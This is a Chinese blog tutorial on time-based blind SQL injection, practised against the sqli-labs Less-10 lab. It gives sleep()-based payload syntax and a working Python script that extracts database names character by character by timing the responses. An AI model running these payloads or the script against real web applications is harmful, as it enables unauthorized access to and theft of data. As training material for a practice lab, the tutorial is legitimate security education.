3.2 SQL盲注-时间注入--sql注入python脚本自动打印数据库信息

简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。

描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。

前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。

Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注

1、概要:

3.2 SQL盲注-时间注入
    时间盲注原理
    时间盲注方法
    构造python脚本自动打印数据库信息(结尾附上源码)

2、详细的思维导图:

 

3.2 SQL盲注-时间注入
    时间盲注原理

        代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息语句执行后也不提示真假,我们不能通过页面的内容来进行判断
这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注!
    时间盲注方法(可利用sqli-labs:Less-10演练,环境部属请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建
        构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
        核心语法:if(left(user(),1)='a',0,sleep(5));
        真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))

    构造python脚本自动打印数据库信息(掌握前面我连载的SQL注入博客的小伙伴,相信利用这个代码可举一反三,逍遥快活很多自动attack手段了)

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import time

url = 'http://192.168.100.57/Less-10/?id=1'

database = 'select schema_name from information_schema.schemata'

tables = 'select table_name from information_schema.tables where table_schema=database()'

column = 'select column_name from information_schema.columns where table_name="table_name"'

result = ''
for i in range(1,30):
	for j in range(48,122):
		payload = '"and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
		stime =time.time()
		r = requests.get(url+payload)
		etime = time.time()
		if etime-stime >=2:
			result += chr(j)
			print (result)
			break

 

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值